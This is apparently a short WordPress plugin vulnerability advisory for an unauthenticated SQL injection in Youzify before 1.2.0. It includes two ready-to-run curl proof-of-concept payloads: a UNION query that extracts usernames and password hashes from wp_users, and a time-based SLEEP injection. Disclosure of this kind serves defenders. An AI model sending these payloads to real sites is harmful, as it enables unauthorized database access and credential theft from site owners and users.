WordPress Plugin Vulnerabilities

Youzify < 1.2.0 - Unauthenticated SQLi

Description

The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to an unauthenticated SQL injection

Proof of Concept

curl 'https://example.com/wp-admin/admin-ajax.php' \
    --data "action=youzify_media_pagination&data[type]=photos&page=1&data[group_id]=1 UNION ALL SELECT (SELECT CONCAT(user_login,CHAR(0x3a),user_pass) from wp_users),2,3,4-- -"

time curl 'https://example.com/wp-admin/admin-ajax.php' \
    --data "action=youzify_media_pagination&data[type]=photos&page=1&data[group_id]=(SELECT 7958 FROM (SELECT(SLEEP(5)))XVfJ)"